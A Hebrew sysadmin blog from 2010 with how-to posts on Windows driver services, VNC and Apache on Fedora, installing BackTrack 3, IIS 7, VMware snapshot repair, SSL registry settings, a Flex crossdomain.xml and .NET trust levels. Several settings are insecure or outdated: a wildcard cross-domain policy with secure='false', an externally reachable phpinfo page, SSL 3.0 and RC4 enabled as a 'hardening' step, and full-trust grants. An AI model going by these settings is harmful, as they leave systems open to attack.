DESKTOP="KDE"
DISPLAYMANAGER="KDE"

*כאן יופעל לנו ה KDE במקרה של GNOME נחליף את הפרמטרים בגרשיים ל GNOME.
 
בהצלחה...

יום רביעי, 3 בנובמבר 2010

SC - Service Control

מנגנון ניהול Services בשכבות שונות, בעצם מנהל את ה Services של המערכת ומאפשר הוספת Drivers חדשים למערכת, SC מבוסס על ה Command Line:

חיפוש של כל ה Services שנמצאים במערכת:
C:\> sc query type= all
מציג את כל ה Services מסוג Driver.
C:\> sc query type= driver


רישום Driver חדש במערכת:
C:\> sc create mydriver type= filesys binPath= c:\mydriver.sys
הפעלת ה Driver:
C:\> sc start mydirver
הפסקת ה Driver:
C:\> sc stop mydriver
מחיקת ה Driver:
C:\> sc delete mydirver

ניתן לבצע את כל הפעולות על יצירת קובץ Bat  (אצווה), ולהכניס לתוכו את הפקודות שרשמנו.

 sc create mydriver type= filesys binPath= c:\mydriver .sys
sc start mydriver
pause
sc stop mydriver
sc delete mydriver
pause
 
בהצלחה...

יום שבת, 30 באוקטובר 2010

Vnc Server installation - Fedora

התקנה מהירה של VNC ע"ג Fedora.

1.התקנת ה Package - יש לבצע את התהליך כ Root.
#: yum install vnc
2.עריכת קובץ הקונפגורציה:


#: nano /etc/sysconfig/vncservers
נבטל את ההערות (#) על השורות:
VNCSERVERS="2:root"
VNCSERVERARGS[2]="-geometry 800x600 -nolisten tcp -localhost"

כשה Root הוא המשתמש שאנו מעונינים שהשתמש ב Vnc

נגדיר סיסמא עבור הכניסה:
#: vncpasswd
Password:*****
Verify:*****
פתיחת פורטים ב Firewall:

#: iptables -A INPUT -p udp -m state --state NEW -m udp --dport 5900 -j ACCEPT
#: iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 5900 -j ACCEPT

הפעלת ה service:
#:service vncserver start

בהצלחה...

יום שישי, 29 באוקטובר 2010

Apache server installation - Fedora

1.התקנת ה Package
#: yum install httpd

הפעלת ה service יש להיות מחוברים כ Root :

#: su root
#: enter password:
#: service httpd start
בדיקת שה Service באמת עובד:

#: service --status-all
#: httpd (pid 20596) is running...


2.פתיחת פורט 80 ב Firewall.
#:iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT

3.יצירת קובץ לבדיקה:
#: nano /var/www/html/phpinfo.php
4.נרשום:
<?php
phpinfo();
?>

נשמור את הקובץ וננסה לגשת ממחשב חיצוני.

יום שבת, 23 באוקטובר 2010

Installing BackTrack 3 on HardDrive


התקנת Backtrack ע"ג כונן קשיח הוא תהליך מסורבל, יש מספר שלבים על מנת להשלים את התהליך:

שלב א: הכנת הכונן הקשיח

נכניס את הדיסק ההרצה שמריץ את המערכת ההפעלה מהדיסק , ניתן להוריד את הדיסק מהאתר של Backtrack,המאמר מתייחס ל Backtrack 3 בלבד ולא על גרסאות חדשות יותר.

יצירת 2 מחיצות Partitions , הראשון עבור הקבצים שלנו בכונן הקשיח והשני עובר הזיכרון Swap.
על מנת ליצור Partitions יש להשתמש ב fdisk עם מיקום של הכונן הפיזי, אצלי זה HDA , זה תלוי מי היצרן של הכונן הקשיח.

#: fdisk /dev/hda


הפקודה M מאפשרת להראות לנו את רשימה הפקודות עבור Fdisk.

הפקודה N מאפשרת יצירה של Partition חדש, תחילה יש לבחור את סוג הפעולה.

Command (m for help): n
Command action
e extended
p primary partition (1-4)







נבחר לנו את ה P  כ primary ,נגדיר את ה Partition ל 1, ונגדיר לו את הנפח ב MB, במקרה שלי היה כונן בנפח 40 GB שמתוכו הגדרתי 30 GB שזה 30000M.

על מנת לראות את הגדרות נלחץ על p:

עם 10 GB הנוספים שיש לנו נגדיר את ה Swap, הנקודה שאליה נרשם הזכרון לכונן הקשיח באותו תהליך , נריץ את הפקודה N על מנת ליצור Partition  חדש, נסמן גם אותו כ P , נגדיר אותו כ Partition  מספר 2.
בניגוד ל Partition הראשון ה Partition  הזה צריך להיות מוגד כ SWAPוזאת נעשה בעזרת הפקודה t נבחר את ה Partition  שהגדרנו כ Swap במקרה שלנו מספר 2, ונגדיר אותו כ hex code:82 שזה ה Type של linux swap

לסיום נריץ את ה פקודה W על מנת לאפשר כתיבה על ה Partition.
 
נפארמט את הכונן המרכזי שמספרו הוא 1, הוא נוסף לשם הלוגי של הכונן במקרה שלי HDA1
 
#:mkfs.ext3 /dev/hda1
 
נגדיר את מיקום ה Swapשהגדרנו:
 
#:mkswap /dev/hda2
 
נפעיל אותו:
 
#:swapon /dev/hda2
 
סיימנו את השלב הראשון.
 
שלב שני: יצירת ספריות להעתקה
ניצור את הספריות הבאות:
 
#:mkdir /mnt/backtrack
נעשה mount לכונן לספריה החדשה
#:mount /dev/hda1 /mnt/backtrack/
ניצור את ספריית ה BOOT
#:mkdir /mnt/backtrack/boot
נעתיק את הספריות מהדיסק כולל תת ספריות
#:cp --preserve -R /{bin,dev,home,pentest,root,usr,etc,lib,opt,sbin,var} /mnt/backtrack/
התהליך לוקח קצת זמן לאח"כ ניצור קבוצת תקיות חדשות:
#:mkdir /mnt/backtrack/{mnt,proc,sys,tmp}
נריץ 2 פקודות Mount על מנת להגדיר את הספריות המערכת:
#:mount --bind /dev/ mnt/backtrack/dev/
#:mount -t  proc proc /mnt/backtrack/proc/
נעתיק את ה Boot לספרית ה Boot שיצרנו לפני:
#:cp boot/vmlinuz /mnt/backtrack/boot
נשנה את ה ROOT:
#:chroot /mnt/backtrack/ /bin/bash
 
שלב שלישי: עריכת קובץ תוכנת ה  Boot
 
נערוך את קובץ Lilo.conf של התוכנה Lilo שמריצה את ה Boot.
#:nano /etc/lilo.conf
 
ניתן להוריד את השורות שמסומנות כהערה, חשוב מאוד להשים לב לפרמטרים הבאים:
ה boot צריך להצביע על הכונן פיזי במקרה של Hda
boot = /dev/hda
 ה Root צריך להצביע ל Partition הראשון שהגדרנו
root =/dev/hda1
ונשנה את ה Label ל backtrack
label = backtrack
 
נשמור את הקובץ ועל מנת שההגדרות יכנסו לתוקף נרשום:
#:lilo -v
 
נפעיל את המחשב מחדש, נוציא את הדיסק מהכונן ויעלה לנו מסך אדום של ה boot עם בחירת מערכת ההפעלה.
 
בהצלחה.

יום חמישי, 14 באוקטובר 2010

Dllimport 0x000007b

the application failed to initialize properly 0x000007b

תקלה נופצה במערכות שעברו השבה מסביבת 32BIT ל 64BIT, כאשר אנחנו מנסים להפעיל קוד בסביבת
Manage Code שקרוא לקוד בסביבה Unmanage Code נקבל הודעה: the application failed to initialize properly 0x000007b.

כשאנחנו מנסים לקרוא לפונקציה חיצונית שכתובה בשפת  (C (unmanaged code מתוך פונקציה בתוך הקוד שרשום ב  (C# (managed code הבעיה המרכזית היא ב Compiler של התוכנה ב managed code , ה Compiler ב Visual Studio מוגדר כ Any Cpu כברירת מחדל , כלומר יש התאמה למערכות 64 ו ה 32 ביט בקובץ עצמו, ובעצם הזכות למערכת הפעלה לבחור את התאמה של התוכנית לפני תחילת ריצת התוכנית.

אבל מה קורה עם הקובץ שאנחנו קוראים לו מתוך התוכנה? בניגוד ל managed code כאן מחוייב להגדיר לאיזה בדיוק מערכת הקובץ מותאם אם ל 64 או ל 32 ביט, ובעצם מכאן הבעיה, בגלל שהמערכת שומרת לה את הזכות לבחור את שיטת ההרצה היא תעדיף את ה 64 על פני ה 32 ובעצם מרחב הכתובות בזיכרון של התוכנה גדל, ואילו לקובץ שאנו קוראים מהתוכנית עובד בסביבת זיכרון מצומצמת של 32 ולכן לא ניתן לקשר בניהם אז קופצת התקלה.

אז איך ניתן לתקן?? הצורה שאני תיקנתי את זה היא פשוט ללחוץ עם הכפתור הימני על הפרויקט ולבחור Properties והיפתח לנו המסך הבא:


נבחר לנו את הפלטפורמה הרציוה x86 עבור מערכות 32 ו 64.
נעשה Build ועכשיו הפלטפורה היא 32 , ניתן לזהות שתוכנה רצה כ 32 ביט ע"י * ש ב task manager.

חשוב לציין שאם הפרויקט שלכם משולב עם Sln (solution) יש להגדיר בו את הגדרת הפלטפורמה:



 מומלץ לבנות את הקובץ ב Release.

בהצלחה...

יום רביעי, 6 באוקטובר 2010

Bios Commands Limits IIS 7

כונן שיתופי עבור מספר אתרי אינטרנט  הוא דבר חיוני במיוחד שמדובר בשילוב של שרתים עם מערכת Storage מרכזית , קיימים מספר אתרים שיושבים על אותו Storage ומספר שרתי אירוח (IIS) שונים שמפוזרים על שרתים נפרדים אבל שיש להם חיבור עם אותו Storage , כשיש יותר מידי קריאות ל Storage או קריאות ארוכות בסיביבת Asp.net , האתר יראה לנו את ההודעה הבאה:
 The network BIOS command limit has been reached
כלומר שלא ניתן ליצור קשר עם ה Storage כי עדיין יש קריאות שלא הסתיימו מולו.

תחילה נראה שהבעיה כנראה ב Storage אבל מסתבר שדווקא בשרתי ה IIS שמבוססים על WINDOWS 7 שבברירת מחדל שלהם חסרים 2 מפתחות חשובים ב Registry ולכן לא ניתן ליצור יותר חיבורים עם ה Storage.

 שני המפתחות החסרים:

MaxCmds - DWORD 32 BIT
MaxMpxct - DWORD 32 BIT

יש להוסיף את המפתחות האלה תחת המפתח:

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters


אבל עכשיו העניין איזה ערך להשים ב Value?? ובכן ה Default של 2 המפתחות הוא אמור להיות על 50, אבל אם צריך שתהיה אפשרות לבצע יותר קריאות ניתן להעלות אותו עד 65000 ב Decimal, אבל זה עלול לגרום למערכת לא להיות יציבה!! , עם אתם בעלי מערכת הפעלה 64 BIT אז אין בעיה להעלות אותו למקסימום אך עדיין זה לא מומלץ, הערך שאני השתמשתי הוא 800 כ HexDecimal או 2048 כ Decimal.

בהצלחה...

יום שלישי, 5 באוקטובר 2010

Multi Domain with default documents pointing to one website IIS 7

מסתבר שב IIS 7 יותר מסובך להגדיר Default Document לשני דומיינים שונים שמשתמשים באותו Web.config , ב IIS 6 האפשרות היתה יותר פשוטה , ה Default Document היה קשור ל Application Directory ולא היה לו קשר עם ההגדרות ב Web.config עצמו של האפליקציה ככה היה ניתן להגדיר ל 2 דומנים שונים שמצביעים על אותה תקייה עם 2 Default Document שונים.

כאשר ננסה לעשות הגדרה של 2 Default Document  ב IIS 7 ה Web.config השתנה לפי הדומיין שבחרנו באותו רגע, יש כמה שיטות לטפל בבעיה דרך URL Rewirte כחלק מה IIS 7 , הפניות ב JAVA SCRIPT כ REDIRECT או דרך עריכה של ה  Application Host שעליו אני ירחיב.

Application Host זה קובץ הממוקם בהגדרות של ה IIS, הוא ממוקם בספרייה:
C:\Windows\System32\inetsrv\config\applicationHost.Config

יש לפתוח את הקובץ (חשוב מאוד לגבות לפני תחילת התהליך!!):
יש להוסיף את בלוק למטה לפני <configuration/ > שסוגר את בלוק המרכזי של הקובץ.

<location path="your_site_name_in_the_iis">
        <system.webserver>
           <defaultdocument>
             <files>
                  <add value="my default document.aspx">
            </files>
          </defaultdocument>
        </system.webserver>
</location>

דרך נוספת לבצע את התהליך זה דרך ה Command Line - CMD:

%windir%\system32\inetsrv\appcmd.exe set config "[your site name in the iis]" -section:system.webServer/defaultDocument -+files.[value="my default document.aspx"] -commitpath:apphost

בהצלחה...

יום ראשון, 3 באוקטובר 2010

Vmware: snapshot failure

מה עושים כאשר נמחק (באופן ידני) או שה SNAPSHOT נהרס ולא ניתן לטעינה בהעלת המכונה הוירטואלית?
לי היתה בעיה כזאת ,מסתבר כאשר נגמר המקום ב HOST ורוצים לעשות SNAPSHOT חדש מקבלים הודעה שאין מספיק מקום ב DATA CENTER עבור ה SNAPSHOT ו VMWARE במקרה שלי ESXI מוריד אוטומטי את המכונה הוירטואלית ולא ניתן להפעיל את המכונה הוירטואלית עד שמפנים מקום ב DATA STORAGE, במקרים מסויימים גם כשמנסים למחוק את ה SNAPSHOT בעזרת ה SNAPSHOT MANAGER המכונה הוירטואלית לא עולה ומקבלים ב EVENTS הודעה מסוג זה:


ובכן, כל SNAPSHOT מייצר קבוצה של קבצים ומשנה את הקובץ ההגדרות של המכונה ל SNAPSHOT האחרון שנעשה.

קיימים שני קבצים עיקריים שצריכים לערוך על מנת לחזור ל SNAPSHOT האחרון שעובד, קודם כל יש לפתוח את תוכנת ה VmWare- Vsphere Client לוחצים על ה HOST ובוחרים CONFIGURATION ואז STORAGE


כשנלחץ על Browse Datastore היפתח לנו מנהל קבצים עם ספריות של שמות המכונות הוירטואליות, ניכנס לספרייה של המכונה שלא עולה ונחפש את הקבצים הבאים:
[Machine_name].vmx
[Machine_name].vmsd

קובץ VMX אחראי על ההגדרות של המכונה הוירטואלית, וקובץ ה VMSD אחראי על ה SNAPSHOT עבור המכונה הוירטואלית.

תחילה נערוך את קובץ ה VMSD , עבור כל SNAPSHOT נוצר בלוק בקובץ שמתחיל ב:
snapshot0.uid = "1"
ה SNAPSHOT הראשון של המערכת SNAPSHOT0 , שווה ל 1 כלומר ה ID של ה SNAPSHOT הראשון ובעצם מאפשר לנו לשנות כבר פה מה יהיה ה SNAPSHOT הראשון שהיטען.
הבלוק נגמר עם הקישור ל HD הפיזי שעל ה HOST

snapshot0.disk0.node = "ide0:0"
במקרה שלי זה היה ה SNAPSHOT השלישי:

snapshot2.uid = "3"

נמחק את הבלוק של ה SNAPSHOT הבעייתי מהקובץ ובנוסף בראש הקובץ מופיע הפרמטר הבא:

snapshot.lastUID = "3"

ונשנה אותו ל SNAPSHOT הנבחר:
snapshot.lastUID = "2"
נשמור את הקובץ ונעלה לשרת (חשוב מאוד!!! לגבות את הקבצים).

עבור כל SNAPSHOT נוצר הקובץ שמכיל את ה DELTA שבין ה SNAPSHOT ל SNAPSHOT, נזהה את הקובץ בסיומת VMDK , השם של הקובץ מתאר את מספר ה SNAPSHOT כלומר: Machine-000003.vmdk.

נערוך את הקובץ VMX ונשנה את הפרמטר
ide0:0.fileName = Machine-00002.vmdk
נשמור את הקובץ ונעלה אותו לשרת,
נפעיל מחדש את המכונה הוירטואלית.

בהצלחה...

יום שלישי, 7 בספטמבר 2010

Disable SSL 2 Windows 7


מסתבר שגרסה של WINDOWS SERVER 2008 SP1 מגיעה עם SSL 2 כברירת מחדל, כחלק מעמידה בתקן PCI DSS חובה לעבוד עם SSL 3 ו TLS 1.

על מנת להוסיף תמיכה ב SSL 3 וב TLS 1 יש לפתוח את ה REGEDIT.

1.להיכנס לספרייה:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\Protocols

יש ליצור שני מפתחות חדשים:
SSL 3.0
TLS 1.0

לדוגמה:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\Protocols\SSL 3.0

בכל אחד מהמפתחות יש ליצור 2 מפתחות נוספים:
Client
Server

לדוגמה:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\Protocols\SSL 3.0\Client\

לכל מפתח (CLIENT או SERVER)צריך להוסיף DWORD 32 BIT VALUE בשם: ENABLED עם VALUE = 1.
כאשר ה VALUE = 1 המערכת תומכת וכאשר הוא 0 היא לא.

נחזור למפתח SSL 2.0 ונבחר את ה DWORD שבתוכו (DisableByDefault או ENABLED ) ונשנה ל VALUE = 0

עכשיו יש לנו תמיכה ב SSL 3 \ TLS 1.0 , אבל זה לא מספיק צריך לוודא שאין WEAK CIPHERS במקרה שלי היה רק WEAK CIPHERS שהם מאוד חלשים במפתח הצפנה שלהם עד שהם ניתנים לחיזוי ע"י התוקפים.

נפתח את המפתח:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\Ciphers
ונבנה בתוכו שלושה מפתחות חדשים:
RC2 128/128
RC4 128/128
Triple DES 128/128

לדוגמה:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\Ciphers\RC2 128/128

שדרגנו את המפתח הצפנה.

בהצלחה...








יום שני, 23 באוגוסט 2010

Cross Domain Policy

הנה עוד בעיה אבל הפעם מכיון של FLEX חברו הצעיר של ה FLASH מבית חברת ADOBE, הבעיה איך אני מגדיר 2 אתרים שונים שנמצאים תחת ה LOCALHOST ב IIS אבל מתקשרים אחד עם השני , לצורך העניין אתר אחד מציג את אפליקצית ה FLEX והשני הוא WEBSERVICE שמשרת את האפליקציית ה FLEX.

CROSS DOMAIN POLICY קיים מתחילת דרכו של ה FLASH לכן הנושא הזה חיי ובועט וניתן למצוא עליו חומר רב, בעקבות ה FLEX שונו חלק מהפרמטרים שהיו ב FLASH ופרמטרים חדשים נוספו.
 דוגמה מבין רבות


CROSS DOMAIN POLICY הוא בעצם קובץ XML שמכיל את ה DOMAIN שאליהם ניגש ה FLEX.

הקובץ במקרה שלנו ממוקם בספריית ה ROOT של ה IIS.

דוגמה:



<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd" >
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all">
<allow-access-from domain="*" secure="false">
< allow-http-request-headers-from domain="*" headers="*" secure="false">
< /cross-domain-policy>

ה * מסמנת שיש הרשאה לכל ה DOMAIN שמעוניינים לגשת מאפליקצית ה FLEX , אם זאת כתובת ספציפית יש להחליף את ה * בכתובת.

כמו שאמרתי ה DEFUALT של הקובץ נמצא ב ROOT , אבל אם ה WEBSERVICE שלנו היה נמצא בשרת אחר ההינו צריכים למקם אותו עם ה WEBSERVICE ,בעצם האפליקציית FLEX מחפשת את ה CROSSDOMAIN.XML ב DOMAIN שאליו היא מתחברת, כלומר הקובץ צריך להכיל את הכתובת של ה DOMAIN שממנו האפליקציית ה FLEX מופעלת על מנת שתהיה מאושרת לקבל נתונים מה WEBSERVICE.

 ניתן לבקש מהאפליקציה לקרוא לקובץ שבכלל נמצא בשרת אחר ע"י הוספת שורת קוד בתוך ה FLEX

Security.loadPolicyFile(http://mysite.com/crossdomain.xml);

בהצלחה...

יום שני, 16 באוגוסט 2010

ODBC 3.51 windows server 2008 64bit

אחרי כל הצרות שעברתי עם ה IIS 7 עכשיו נוצרו בעיות אחרות איך אני מתחבר לאפליקציות ישנות שמשתמשות בחיבור ODBC ישן כמו גרסה 3.51.

על מנת להפעיל את ה ODBC יש להוריד 2 גרסאות מהאתר של MYSQL:


1.את הגרסה ה 32 BIT


2.את הגרסה 64 BIT


יש להתקין את הגרסה 32 BIT ע"י קובץ ההתקנה המצורף.
אך עדיין לא נראה את הגרסה מותקנת Data Sources (ODBC).
את הגרסה 64 BIT יש לפתוח מה ZIP להפעיל CMD ולרשום:
C:\mysql-connetctor>install.bat 0
0 - מסמן התקנה של הגרסת RELEASE.
1 - מסמן התקנה של הגרסה DEBUG.

לאחר סיום ההתקנות יש להפעיל את ה IIS מחדש, ויש לכם ODBC גרסה 3.51.

בהצלחה.

יום חמישי, 12 באוגוסט 2010

Framework 1.1 and IIS 7 and Windows 7

מיקרוסופט מנסים להרוג את ה FRAMEWORK 1.1 וגם פוזלים לכיוון של 2 , החיים נהיו יותר קשים בלהגדיר על שרתים חדשים WINDOWS SERVER 2008 אפליקציות "ישנות" שמבוססות על FRAMEWORK ישנים.

המגבלות של FRAMEWORK 1.1 שהוא תומך רק במערכות 32 BIT , ולכן יש לבצע שינויים רבים על מנת להפעיל אותו על השרת.

שלב א:

דבר ראשון יש לדאוג להתקין CGI על השרת:

Server Manager -->Roles-->Add Role Service

לבחור ב FEATURE - CGI


יש להוסיף גם את ה METABASE שאיתו עובד FRAMEWORK 1.1
יש לסמן בנוסף את
 IIS6 Managment tools -->IIS 6 managment compatbility --> IIS 6 Metabase Comptability

שלב ב:
התקנת ה Framework
יש להוריד את ה Framework ועדכוני אבטחה:

נתינת הרשאות גבוהות עבור האפליקציה היא שלב קריטי ביותר

עדכון FULL TRUST של האפליקציה:

Administrative tool - .Net Framework 1.1 configuration



לחיצה על Adjust Zone Security מקפיצה Wizard בו 2 אפשריות עדכון עבור המחשב הזה או עבור משתמש,
לאחר סימון אחת מהאפשרויות התאפשר לנו לשנות כיצד התוכנה תגיב ע"י שימוש של משתמש,רשת פנימית וחיצונית - אינטרנט.



ניתן להשתמש במקום ב Microsoft.net framework 1.1 wizard שנמצא ב Administrative tool

יש להריץ את הפקודות הבאות ב CMD

הפעלה של ה Framework
C:\Microsoft.NET\Framework\v1.1.4322\>aspnet_regiis -enable

התקנת סקריפטים
C:\Microsoft.NET\Framework\v1.1.4322\>aspnet_regiis -c

צריכים לערוך גם את קובץ ה CONFIG של ה FRAMEWORK
ניתן למצוא את הקובץ בספריה:

C:\Microsoft.NET\Framework\v1.1.4322\Config\Machine.config

יש לערוך אותו ולהוסיף את השורה למטה בסוף התגית - configSections


<section name="system.webServer" type="System.Configuration.IgnoreSectionHandler,
    System, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
</configSections>

מערכות 64 BIT לא מזהות את ה Framework בגלל שהוא תוכנן ל 32 BIT לכן נעשה פה טריק קטן:
ניצור ספריה חדשה ב

C:\Microsoft.NET\Framework64\v1.1.4322\Config\

נעתיק את כל מה שנמצא בספריה המקבילה של ה 32 BIT.

שלב ג:
הוספת ה Framework ל IIS

נפתח את ה IIS נסמן את ה NODE של ה LOCALHOST
נלחץ על FEATURE VIEW ונסמן את ISAPI and CGI Restrictions , נלחץ על ADD



נבחר את הקובץ

C:\Windows\Microsoft.Net\Framework\v1.1.4322\aspnet_isapi.dll
ו Restriction נסמן כ Allowed.

יש לבנות Appliction Pool שמבוסס על Asp.net v.1.1 וללחוץ על Advanced Settings
צריך לשנות את הפרמטר Enable 32-bit applications = true

משנשאר זה להוסיף את האתר ל Application Pool

בהצלחה.

יום שני, 9 באוגוסט 2010

Required permissions cannot be acquired. / Failed to grant minimum permission requests

התקלה הזאת מתרחשת כאשר רצים קבצים באתר (DLL וכו') שאינם נחשבים כ FULL TRUST , במערכת ב .net , שמשתמשת ה ASP.

לאחר שהגדרתי את האתר ב IIS 7 ניסיתי להריץ אותו ב LOCALHOST אבל קיבלתי הודעה כזאת:.


Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.




Exception Details: System.Security.Policy.PolicyException: Required permissions cannot be acquired.


Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.
Stack Trace:


[PolicyException: Required permissions cannot be acquired.]


System.Security.SecurityManager.ResolvePolicy(Evidence evidence, PermissionSet reqdPset, PermissionSet optPset, PermissionSet denyPset, PermissionSet& denied, Boolean checkExecutionPermission) +2770052


System.Security.SecurityManager.ResolvePolicy(Evidence evidence, PermissionSet reqdPset, PermissionSet optPset, PermissionSet denyPset, PermissionSet& denied, Int32& securitySpecialFlags, Boolean checkExecutionPermission) +57
[FileLoadException: Could not load file or assembly 'Infragistics2.WebUI.UltraWebListbar.v6.3, Version=6.3.20063.53, Culture=neutral, PublicKeyToken=7dd5c3163f2cd0cb' or one of its dependencies. Failed to grant minimum permission requests. (Exception from HRESULT: 0x80131417)]


System.Reflection.Assembly._nLoad(AssemblyName fileName, String codeBase, Evidence assemblySecurity, Assembly locationHint, StackCrawlMark& stackMark, Boolean throwOnFileNotFound, Boolean forIntrospection) +0


System.Reflection.Assembly.nLoad(AssemblyName fileName, String codeBase, Evidence assemblySecurity, Assembly locationHint, StackCrawlMark& stackMark, Boolean throwOnFileNotFound, Boolean forIntrospection) +54


System.Reflection.Assembly.InternalLoad(AssemblyName assemblyRef, Evidence assemblySecurity, StackCrawlMark& stackMark, Boolean forIntrospection) +211


System.Reflection.Assembly.InternalLoad(String assemblyString, Evidence assemblySecurity, StackCrawlMark& stackMark, Boolean forIntrospection) +141


System.Reflection.Assembly.Load(String assemblyString) +25


System.Web.Configuration.CompilationSection.LoadAssemblyHelper(String assemblyName, Boolean starDirective) +32
[ConfigurationErrorsException: Could not load file or assembly 'Infragistics2.WebUI.UltraWebListbar.v6.3, Version=6.3.20063.53, Culture=neutral, PublicKeyToken=7dd5c3163f2cd0cb' or one of its dependencies. Failed to grant minimum permission requests. (Exception from HRESULT: 0x80131417)]


System.Web.Configuration.CompilationSection.LoadAssemblyHelper(String assemblyName, Boolean starDirective) +596


System.Web.Configuration.CompilationSection.LoadAllAssembliesFromAppDomainBinDirectory() +211


System.Web.Configuration.CompilationSection.LoadAssembly(AssemblyInfo ai) +46


System.Web.Compilation.BuildManager.GetReferencedAssemblies(CompilationSection compConfig) +177


System.Web.Compilation.BuildProvidersCompiler..ctor(VirtualPath configPath, Boolean supportLocalization, String outputAssemblyName) +185


System.Web.Compilation.CodeDirectoryCompiler.GetCodeDirectoryAssembly(VirtualPath virtualDir, CodeDirectoryType dirType, String assemblyName, StringSet excludedSubdirectories, Boolean isDirectoryAllowed) +350


System.Web.Compilation.BuildManager.CompileCodeDirectory(VirtualPath virtualDir, CodeDirectoryType dirType, String assemblyName, StringSet excludedSubdirectories) +125


System.Web.Compilation.BuildManager.CompileCodeDirectories() +525


System.Web.Compilation.BuildManager.EnsureTopLevelFilesCompiled() +448
[HttpException (0x80004005): Could not load file or assembly 'Infragistics2.WebUI.UltraWebListbar.v6.3, Version=6.3.20063.53, Culture=neutral, PublicKeyToken=7dd5c3163f2cd0cb' or one of its dependencies. Failed to grant minimum permission requests. (Exception from HRESULT: 0x80131417)]


System.Web.Compilation.BuildManager.ReportTopLevelCompilationException() +57


System.Web.Compilation.BuildManager.EnsureTopLevelFilesCompiled() +612


System.Web.Hosting.HostingEnvironment.Initialize(ApplicationManager appManager, IApplicationHost appHost, IConfigMapPathFactory configMapPathFactory, HostingEnvironmentParameters hostingParameters) +644
[HttpException (0x80004005): Could not load file or assembly 'Infragistics2.WebUI.UltraWebListbar.v6.3, Version=6.3.20063.53, Culture=neutral, PublicKeyToken=7dd5c3163f2cd0cb' or one of its dependencies. Failed to grant minimum permission requests. (Exception from HRESULT: 0x80131417)]


System.Web.HttpRuntime.FirstRequestInit(HttpContext context) +3465427


System.Web.HttpRuntime.EnsureFirstRequestInit(HttpContext context) +69


System.Web.HttpRuntime.ProcessRequestInternal(HttpWorkerRequest wr) +279



מסתבר של .NET יש הרשאות משלו במיוחד שמדובר על FRAMEWORK 2 , הוא לא מתייחס בכלל להרשאות שמוגדרות ב IIS 7.

אז איך מתקנים את זה:
ב WINDOWS 7 נראה כאילו שלא קיים FRAMEWORK 2 וה DEFAULT הוא 3.5, אם במקרה אתם רוצים להתקין אתר שבנוי ב FRAMEWORK 2 תצטרכו להוריד את ה .net framework 2.0 configuraton שנמצא בחבילת ה SDK
של framework 2.0
לאתר מיקרוספט

הכלי נמצא
 CONTROL PANEL -->ADMINISTRATOR TOOLS -->.NET FRAMEWOR 2.0 CONFIGURATION


תחילה נבחר ב RUNTIME SECURITY POLICY ונבחר ב ADJUST ZONE SECURITY


ניתן להגדיר הגדרות אבטחה עבור משתמש או עבור כל המכונה.


ונסמן את האפשרות של FULL TRUST

ולאחר מכן לסיים את ה WIZERD ולנסות להפעיל את האפליקציה שוב.